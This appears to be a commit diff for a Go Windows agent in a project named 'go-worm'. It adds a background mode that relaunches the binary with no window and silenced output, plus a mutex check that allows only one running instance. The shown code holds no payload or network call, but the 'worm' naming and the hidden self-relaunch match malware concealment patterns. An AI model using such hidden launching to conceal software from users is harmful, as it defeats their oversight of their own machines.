Add background mode support to localagent and implement instance check

lib/instance/detach.go

@@ -0,0 +1,49 @@
+package instance
+
+import (
+	"fmt"
+	"os"
+	"os/exec"
+	"strings"
+	"syscall"
+
+	"golang.org/x/sys/windows"
+)
+
+func Detach() error {
+	if AlreadyRunning() {
+		return fmt.Errorf("agent already running")
+	}
+	exe, err := os.Executable()
+	if err != nil {
+		return err
+	}
+	nul, err := os.OpenFile("NUL", os.O_RDWR, 0)
+	if err != nil {
+		return err
+	}
+	defer nul.Close()
+
+	cmd := exec.Command(exe, stripBackground(os.Args[1:])...)
+	cmd.Stdin = nul
+	cmd.Stdout = nul
+	cmd.Stderr = nul
+	cmd.SysProcAttr = &syscall.SysProcAttr{
+		HideWindow:    true,
+		CreationFlags: windows.CREATE_NO_WINDOW | windows.CREATE_NEW_PROCESS_GROUP,
+	}
+	return cmd.Start()
+}
+
+func stripBackground(args []string) []string {
+	out := make([]string, 0, len(args))
+	for _, arg := range args {
+		name := strings.TrimLeft(arg, "-/")
+		lower := strings.ToLower(name)
+		if lower == "background" || strings.HasPrefix(lower, "background=") {
+			continue
+		}
+		out = append(out, arg)
+	}
+	return out
+}

lib/instance/mutex.go

@@ -28,6 +28,19 @@ func Acquire() (*Guard, error) {
 	return &Guard{handle: h}, nil
 }
 
+func AlreadyRunning() bool {
+	name, err := windows.UTF16PtrFromString(config.MutexName)
+	if err != nil {
+		return false
+	}
+	h, err := windows.OpenMutex(windows.SYNCHRONIZE, false, name)
+	if err != nil {
+		return false
+	}
+	windows.CloseHandle(h)
+	return true
+}
+
 func (g *Guard) Close() {
 	if g == nil || g.handle == 0 {
 		return

main.go

@@ -4,16 +4,30 @@
 //
 //	GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o localagent.exe .
 //
-// The binary is a normal console application. A CMD window appears on launch
+// A CMD window appears on launch. Use -background to start without a window:
-// and prints the listen address. Press Ctrl+C to stop.
+//
+//	localagent.exe -background
 package main
 
 import (
+	"flag"
+
 	"tea.chunkbyte.com/kato/go-worm/lib/agent"
 	"tea.chunkbyte.com/kato/go-worm/lib/helpers"
+	"tea.chunkbyte.com/kato/go-worm/lib/instance"
 )
 
 func main() {
+	background := flag.Bool("background", false, "run without a console window")
+	flag.Parse()
+
+	if *background {
+		if err := instance.Detach(); err != nil {
+			helpers.Log.Fatalf("%v", err)
+		}
+		return
+	}
+
 	a, err := agent.New()
 	if err != nil {
 		helpers.Log.Fatalf("%v", err)